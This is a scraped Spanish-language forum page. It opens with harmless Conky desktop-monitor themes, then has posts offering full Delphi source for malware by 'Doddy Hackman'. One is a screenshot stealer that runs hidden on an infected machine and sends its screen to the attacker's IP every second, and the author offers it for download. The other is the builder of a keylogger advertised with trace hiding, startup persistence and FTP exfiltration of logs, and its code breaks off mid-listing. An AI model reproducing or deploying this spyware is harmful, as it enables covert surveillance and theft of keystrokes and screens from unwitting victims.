${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme Tron.




# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme DarkCity.




# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


No son la gran cosa pero el que me gusta usar es el de matrix.
#142
Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código (delphi) [Seleccionar]

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit screen;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;

    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses fullscreen;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código (delphi) [Seleccionar]

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;

implementation

{$R *.dfm}
// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;


//

procedure TForm1.FormCreate(Sender: TObject);

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := False;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  target := regex(todo, '[ip]', '[ip]');

  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;

begin

  try
    begin

      if ClientSocket1.Active = True then

      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';

        chdir(dir);

        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;

        capturar('screen.jpg');

        archivo := dir + 'screen.jpg';

        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);

            sleep(500);

            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));

            envio.Free;

            ClientSocket2.Address := target;
            ClientSocket2.Open;

            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#143
Programación General / [Delphi] DH KeyCagator 0.7
22 Noviembre 2013, 14:56 PM
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Los dos codigos :

    El generador.

    Código (delphi) [Seleccionar]

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit genkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
      sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
      jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sStatusBar1: TsStatusBar;
        sGroupBox8: TsGroupBox;
        sButton1: TsButton;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sEdit2: TsEdit;
        sComboBox1: TsComboBox;
        sGroupBox3: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox4: TsGroupBox;
        sLabel1: TsLabel;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        sGroupBox7: TsGroupBox;
        sLabel2: TsLabel;
        sCheckBox2: TsCheckBox;
        sEdit4: TsEdit;
        sGroupBox5: TsGroupBox;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sLabel5: TsLabel;
        sLabel6: TsLabel;
        sEdit5: TsEdit;
        sEdit6: TsEdit;
        sEdit7: TsEdit;
        sEdit8: TsEdit;
        sTabSheet4: TsTabSheet;
        sTabSheet5: TsTabSheet;
        sGroupBox6: TsGroupBox;
        Image2: TImage;
        sLabel7: TsLabel;
        sGroupBox9: TsGroupBox;
        sGroupBox10: TsGroupBox;
        sLabel8: TsLabel;
        sLabel9: TsLabel;
        sLabel10: TsLabel;
        sLabel11: TsLabel;
        sEdit9: TsEdit;
        sEdit10: TsEdit;
        sEdit11: TsEdit;
        sEdit12: TsEdit;
        sButton2: TsButton;
        IdFTP1: TIdFTP;
        OpenDialog1: TOpenDialog;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (sRadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

      end;

      if (sRadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := sEdit2.Text;
      end;

      foldername := sEdit1.Text;

      if (sCheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(sEdit3.Text) * 1000;

      if (sCheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      ftp_seconds := StrToInt(sEdit4.Text) * 1000;

      ftp_host_txt := sEdit5.Text;
      ftp_user_txt := sEdit7.Text;
      ftp_pass_txt := sEdit8.Text;
      ftp_path_txt := sEdit6.Text;

      lineafinal := '[63686175]' + dhencode
        ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
          '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
          '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
          + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
          '[ftp_seconds]' + IntToStr(ftp_seconds)
          + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
          '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
          ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
        'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/keycagator.exe'), PChar
          (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := sEdit9.Text;
      IdFTP1.Username := sEdit11.Text;
      IdFTP1.Password := sEdit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(sEdit10.Text);

          IdFTP1.List('*.*', True);

